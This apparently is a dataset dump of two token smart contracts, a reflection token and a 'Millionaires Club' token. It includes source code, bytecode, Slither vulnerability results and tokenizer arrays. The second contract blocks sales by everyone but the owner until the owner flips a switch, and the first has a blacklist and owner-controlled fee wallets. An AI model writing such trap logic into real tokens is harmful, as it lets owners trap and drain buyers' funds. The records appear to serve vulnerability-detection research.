returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 0; _feeAddr2 = 9; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 7500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461027e578063c3c8cd801461029e578063c9567bf9146102b3578063dd62ed3e146102c857600080fd5b806370a0823114610221578063715018a6146102415780638da5cb5b1461025657806395d89b411461010357600080fd5b80632ab30838116100c65780632ab30838146101b9578063313ce567146101d05780635932ead1146101ec5780636fc3eaec1461020c57600080fd5b806306fdde0314610103578063095ea7b31461014357806318160ddd1461017357806323b872dd1461019957600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b506040805180820182526008815267477261766974617360c01b6020820152905161013a919061147d565b60405180910390f35b34801561014f57600080fd5b5061016361015e3660046113ed565b61030e565b604051901515815260200161013a565b34801561017f57600080fd5b50680270801d946c9400005b60405190815260200161013a565b3480156101a557600080fd5b506101636101b43660046113ad565b610325565b3480156101c557600080fd5b506101ce61038e565b005b3480156101dc57600080fd5b506040516009815260200161013a565b3480156101f857600080fd5b506101ce610207366004611418565b6103d0565b34801561021857600080fd5b506101ce610418565b34801561022d57600080fd5b5061018b61023c36600461133d565b610445565b34801561024d57600080fd5b506101ce610467565b34801561026257600080fd5b506000546040516001600160a01b03909116815260200161013a565b34801561028a57600080fd5b506101636102993660046113ed565b6104db565b3480156102aa57600080fd5b506101ce6104e8565b3480156102bf57600080fd5b506101ce61051e565b3480156102d457600080fd5b5061018b6102e3366004611375565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061031b3384846108e5565b5060015b92915050565b6000610332848484610a09565b610384843361037f8560405180606001604052806028815260200161161d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610bab565b6108e5565b5060019392505050565b6000546001600160a01b031633146103c15760405162461bcd60e51b81526004016103b8906114d0565b60405180910390fd5b680270801d946c940000601155565b6000546001600160a01b031633146103fa5760405162461bcd60e51b81526004016103b8906114d0565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461043857600080fd5b4761044281610be5565b50565b6001600160a01b03811660009081526002602052604081205461031f90610cad565b6000546001600160a01b031633146104915760405162461bcd60e51b81526004016103b8906114d0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061031b338484610a09565b600c546001600160a01b0316336001600160a01b03161461050857600080fd5b600061051330610445565b905061044281610d31565b6000546001600160a01b031633146105485760405162461bcd60e51b81526004016103b8906114d0565b601054600160a01b900460ff16156105a25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b8565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105df3082680270801d946c9400006108e5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561061857600080fd5b505afa15801561062c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106509190611359565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561069857600080fd5b505afa1580156106ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d09190611359565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561071857600080fd5b505af115801561072c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107509190611359565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061078081610445565b6000806107956000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107f857600080fd5b505af115801561080c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108319190611450565b5050601080546768155a43676e000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108a957600080fd5b505af11580156108bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e19190611434565b5050565b6001600160a01b0383166109475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b8565b6001600160a01b0382166109a85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610a6b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b8565b6001600160a01b03831660009081526006602052604090205460ff1615610a9157600080fd5b6001600160a01b0383163014610b9b576000600a556009600b556010546001600160a01b038481169116148015610ad65750600f546001600160a01b03838116911614155b8015610afb57506001600160a01b03821660009081526005602052604090205460ff16155b8015610b105750601054600160b81b900460ff165b15610b2457601154811115610b2457600080fd5b6000610b2f30610445565b601054909150600160a81b900460ff16158015610b5a57506010546001600160a01b03858116911614155b8015610b6f5750601054600160b01b900460ff165b15610b9957610b7d81610d31565b47670429d069189e0000811115610b9757610b9747610be5565b505b505b610ba6838383610ed6565b505050565b60008184841115610bcf5760405162461bcd60e51b81526004016103b8919061147d565b506000610bdc84866115cc565b95945050505050565b600c546001600160a01b03166108fc610bff60038461158d565b6040518115909202916000818181858888f19350505050158015610c27573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610c4260038461158d565b6040518115909202916000818181858888f19350505050158015610c6a573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610c8560038461158d565b6040518115909202916000818181858888f193505050501580156108e1573d6000803e3d6000fd5b6000600854821115610d145760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b8565b6000610d1e610ee1565b9050610d2a8382610f04565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d8757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ddb57600080fd5b505afa158015610def573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e139190611359565b81600181518110610e3457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54610e5a91309116846108e5565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e93908590600090869030904290600401611505565b600060405180830381600087803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610ba6838383610f46565b6000806000610eee61103d565b9092509050610efd8282610f04565b9250505090565b6000610d2a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061107f565b600080600080600080610f58876110ad565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f8a908761110a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fb9908661114c565b6001600160a01b038916600090815260026020526040902055610fdb816111ab565b610fe584836111f5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161102a91815260200190565b60405180910390a3505050505050505050565b6008546000908190680270801d946c9400006110598282610f04565b82101561107657505060085492680270801d946c94000092509050565b90939092509050565b600081836110a05760405162461bcd60e51b81526004016103b8919061147d565b506000610bdc848661158d565b60008060008060008060008060006110ca8a600a54600b54611219565b92509250925060006110da610ee1565b905060008060006110ed8e87878761126e565b919e509c509a509598509396509194505050505091939550919395565b6000610d2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bab565b6000806111598385611575565b905083811015610d2a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b8565b60006111b5610ee1565b905060006111c383836112be565b306000908152600260205260409020549091506111e0908261114c565b30600090815260026020526040902055505050565b600854611202908361110a565b600855600954611212908261114c565b6009555050565b6000808080611233606461122d89896112be565b90610f04565b90506000611246606461122d8a896112be565b9050600061125e826112588b8661110a565b9061110a565b9992985090965090945050505050565b600080808061127d88866112be565b9050600061128b88876112be565b9050600061129988886112be565b905060006112ab82611258868661110a565b939b939a50919850919650505050505050565b6000826112cd5750600061031f565b60006112d983856115ad565b9050826112e6858361158d565b14610d2a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b8565b60006020828403121561134e578081fd5b8135610d2a816115f9565b60006020828403121561136a578081fd5b8151610d2a816115f9565b60008060408385031215611387578081fd5b8235611392816115f9565b915060208301356113a2816115f9565b809150509250929050565b6000806000606084860312156113c1578081fd5b83356113cc816115f9565b925060208401356113dc816115f9565b929592945050506040919091013590565b600080604083850312156113ff578182fd5b823561140a816115f9565b946020939093013593505050565b600060208284031215611429578081fd5b8135610d2a8161160e565b600060208284031215611445578081fd5b8151610d2a8161160e565b600080600060608486031215611464578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156114a95785810183015185820160400152820161148d565b818111156114ba5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156115545784516001600160a01b03168352938301939183019160010161152f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611588576115886115e3565b500190565b6000826115a857634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156115c7576115c76115e3565b500290565b6000828210156115de576115de6115e3565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461044257600080fd5b801515811461044257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f4861bf8f41c948e2feb8399c8610f4861c4544b2903efdafbb992438a1080fb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 17465, 2497, 2575, 8586, 2692, 2063, 2575, 2094, 19961, 18827, 2094, 2581, 2620, 22907, 2497, 2692, 2509, 2497, 2575, 2094, 22932, 17788, 4402, 2487, 4246, 2620, 20842, 1013, 1008, 1008, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 24665, 18891, 10230, 9413, 2278, 11387, 3449, 2239, 1056, 28394, 2102, 9226, 1056, 1012, 2033, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,389
0x96b289b8428d05eab36ef41c523fda1293bcf4e0
pragma solidity ^0.8.9; // SPDX-License-Identifier: MIT interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface ERC20Metadata is ERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _setOwner(msg.sender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IpancakePair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IpancakeRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IpancakeRouter02 is IpancakeRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // Bep20 standards for token creation by bloctechsolutions.com contract MillionaireClub is Context, ERC20, ERC20Metadata, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromMaxTx; IpancakeRouter02 public pancakeRouter; address public pancakePair; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; bool public _sellingOpen = false; //once switched on, can never be switched off. uint256 public _maxTxAmount; constructor() { _name = "Millionaires Club"; _symbol = "MC"; _decimals = 18; _totalSupply = 1000000000000 * 1e18; _balances[owner()] = _totalSupply; _maxTxAmount = _totalSupply.mul(1).div(100); IpancakeRouter02 _pancakeRouter = IpancakeRouter02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02 ); // Create a uniswap pair for this new token pancakePair = IUniswapV2Factory(_pancakeRouter.factory()).createPair( address(this), _pancakeRouter.WETH() ); // set the rest of the contract variables pancakeRouter = _pancakeRouter; // exclude from max tx _isExcludedFromMaxTx[owner()] = true; _isExcludedFromMaxTx[address(this)] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function AntiWhale() external onlyOwner { _sellingOpen = true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "WE: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function setExcludeFromMaxTx(address _address, bool value) public onlyOwner { _isExcludedFromMaxTx[_address] = value; } // for 1% input 1 function setMaxTxPercent(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = _totalSupply.mul(maxTxAmount).div(100); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "WE: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "WE: transfer from the zero address"); require(recipient != address(0), "WE: transfer to the zero address"); require(amount > 0, "WE: Transfer amount must be greater than zero"); if(_isExcludedFromMaxTx[sender] == false && _isExcludedFromMaxTx[recipient] == false // by default false ){ require(amount <= _maxTxAmount,"amount exceed max limit"); if (!_sellingOpen && sender != owner() && recipient != owner()) { require(recipient != pancakePair, " WE:Selling is not enabled"); } } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "WE: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806376474949116100b8578063a9059cbb1161007c578063a9059cbb1461026e578063b8c9d25c14610281578063c21ebd0714610294578063d543dbeb146102a7578063dd62ed3e146102ba578063f2fde38b146102f357600080fd5b806376474949146102185780637d1db4a5146102255780638da5cb5b1461022e57806395d89b4114610253578063a457c2d71461025b57600080fd5b806339509351116100ff57806339509351146101b75780635b89029c146101ca5780636adeb40d146101df57806370a08231146101e7578063715018a61461021057600080fd5b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017d57806323b872dd1461018f578063313ce567146101a2575b600080fd5b610144610306565b6040516101519190610cc5565b60405180910390f35b61016d610168366004610d36565b610398565b6040519015158152602001610151565b6009545b604051908152602001610151565b61016d61019d366004610d60565b6103af565b60085460405160ff9091168152602001610151565b61016d6101c5366004610d36565b61045b565b6101dd6101d8366004610d9c565b610497565b005b6101dd6104ec565b6101816101f5366004610dd8565b6001600160a01b031660009081526001602052604090205490565b6101dd610525565b600a5461016d9060ff1681565b610181600b5481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610151565b61014461055b565b61016d610269366004610d36565b61056a565b61016d61027c366004610d36565b610600565b60055461023b906001600160a01b031681565b60045461023b906001600160a01b03168